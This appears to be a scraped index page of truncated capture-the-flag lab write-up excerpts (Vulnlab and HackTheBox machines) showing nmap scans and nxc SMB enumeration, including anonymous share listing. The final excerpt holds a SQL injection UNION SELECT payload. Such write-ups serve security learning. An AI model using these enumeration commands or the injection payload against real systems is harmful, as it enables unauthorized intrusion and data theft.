
Vulnlab - Trusted
10.10.193.213 TRUSTEDDC 10.10.193.214 LABDC ➜ trusted nmap -sC -sV -Pn 10.10.193.214 -vv Discovered open port 80/tcp on 10.10.193.214 Discovered open port 139/tcp on 10.10.193.214 Discovered ope...

10.10.193.213 TRUSTEDDC 10.10.193.214 LABDC ➜ trusted nmap -sC -sV -Pn 10.10.193.214 -vv Discovered open port 80/tcp on 10.10.193.214 Discovered open port 139/tcp on 10.10.193.214 Discovered ope...

nmap PORT STATE SERVICE 53/tcp open domain 80/tcp open http 88/tcp open kerberos-sec 111/tcp open rpcbind 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp...

enum ➜ sendai nxc smb 10.10.65.237 SMB 10.10.65.237 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:sendai.vl) (signing:True) (SMBv1:False) fast loo...

enum ➜ baby2 nxc smb 10.10.111.91 SMB 10.10.111.91 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:False) shares ➜ ...

Enum 22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 f6:cc:21:7c:ca:da:ed:34:fd:04:ef:e6:f9:4c:dd:f8 (ECDSA) | ecdsa-sha2-ni...

➜ baby nxc smb 10.10.66.181 SMB 10.10.66.181 445 BABYDC [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False) there is no Gu...

SMB-enum ➜ escape nxc smb 10.10.11.202 SMB 10.10.11.202 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:sequel.htb) (signing:True) (SMBv1:False) ...

SMB-enum ➜ timelapse nxc smb 10.10.11.152 SMB 10.10.11.152 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1...

SMB-enum ➜ cascade nxc smb 10.10.10.182 -u '' -p '' --shares SMB 10.10.10.182 445 CASC-DC1 [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:CASC-DC1) (domain:cascade.loca...
.jpg)
WebServerSQLi abdef' union select 1,name,3,4,5,6 FROM master..sysdatabases;-- - abdef' union select 1,name,3,4,5,6 FROM master..sysdatabases;-- - abdef' union select 1, STRING_AGG(CONCAT(table_n...